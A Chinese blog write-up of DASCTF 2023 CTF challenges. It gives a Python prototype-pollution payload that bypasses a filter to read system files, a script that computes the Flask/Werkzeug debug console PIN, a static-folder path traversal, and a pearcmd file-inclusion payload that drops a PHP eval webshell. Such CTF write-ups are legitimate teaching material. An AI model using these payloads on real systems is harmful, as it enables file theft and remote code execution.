目录

  1. 1. 前言
  2. 2. EzFlask
    1. 2.1. 非预期 (污染_static_folder获取环境变量)
  3. 3. ez_cms
  4. 4. MyPicDisk

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

DASCTF 2023 & 0X401

2023/7/25 CTF线上赛
  |     |   总文章阅读量:

前言

记错比赛日期了,下午才发现开打了,然后就现学了一个python原型链污染,最后没想到读文件算pin还没做出来ww

还是学到不少东西的

Boogipop的wp

n03tAck team的wp

EDI的wp

EzFlask

python原型链污染+算pin

进入题目可以直接看到源码

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

出现了merge函数,,知道这题要利用到python原型链污染

同时发现整个源码中没有可以进行命令执行的地方,猜测要拿shell,鉴于这是flask框架,首先想到的就是算pin码

算pin码就需要读文件,这个时候我们发现源码中唯一和文件有关的就是__file__这个全局变量

那么就尝试在/register路由中用python原型链污染来修改__file__

多次尝试发现把__init__给过滤了,于是采用unicode编码进行绕过(记得content-type要改json)

{"username":"1",
"password":"1",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{
"__file__":""}}}

先读取一个不存在的文件来弄出报错来

image-20230725145311050

得知版本是python3.10

接着读取/sys/class/net/eth0/address

image-20230725144503111

返回首页读取uuidnode

image-20230725144647338

转为10进制为248627341238210

然后读取/etc/machine-id

得到96cec10d3d9307792745ec3b85c89620

读取/proc/sys/kernel/random/boot_id

得到867ab5d2-4e57-4335-811b-2943c662e936

再读取/proc/self/cgroup

这里有点坑,值取docker-a3f99d993bd69471d6ba721e274e0d893da41f8a2089724c1c4107f9c5e526dd.scope

然后拼接的machine-id是把第一个和第三个拼接在一起

3.10脚本(by EDI):

import hashlib
from itertools import chain


probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]


# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
    '248627341238210',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
    '96cec10d3d9307792745ec3b85c89620docker-a3f99d993bd69471d6ba721e274e0d893da41f8a2089724c1c4107f9c5e526dd.scope'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")


cookie_name = f"__wzd{h.hexdigest()[:20]}"


# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]


# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num


print(rv)

得到pin码为414-002-214

进入/console页面输入pin码即可实现命令执行获取flag

image-20230725150856845

非预期 (污染_static_folder获取环境变量)

By Boogipop

unicode绕过__init__过滤,修改_static_folder为根目录,然后进行目录穿越

_static_folder即静态文件的位置,我们正常只能访问这个位置下的所有文件

{"__init\u005f_":{"__globals__":{"app":{"_static_folder":"/"}}},
"username":1,
"password":1
}

然后访问/static/proc/1/environ获取环境变量


ez_cms

熊海cms+pearcmd

可以参考y4爷的博客

这题我一开始能找到任意文件读取、sql注入和垂直越权的漏洞,但是没啥用,后台文件上传也传不进马

这里利用到的是前台文件包含实现RCE的方法:pearcmd

在熊海CMS的入口文件index.php处存在文件包含

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

注意,在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装

这个老CMS一定是php5版本,所以存在pearcmd

那么接下来就是最麻烦的问题了:这个pearcmd的路径不在/usr/local下而是在/usr/share下,比赛时这里能卡不少时间

知道位置接下来就是payload随便打了

?+config-create+/&r=../../../../../../../../../../../../usr/share/php/pearcmd&/<?=phpinfo();eval($_POST['cmd']);?>+/tmp/1.php

image-20230804190905501

再文件包含执行一句话木马即可

image-20230804191652987


MyPicDisk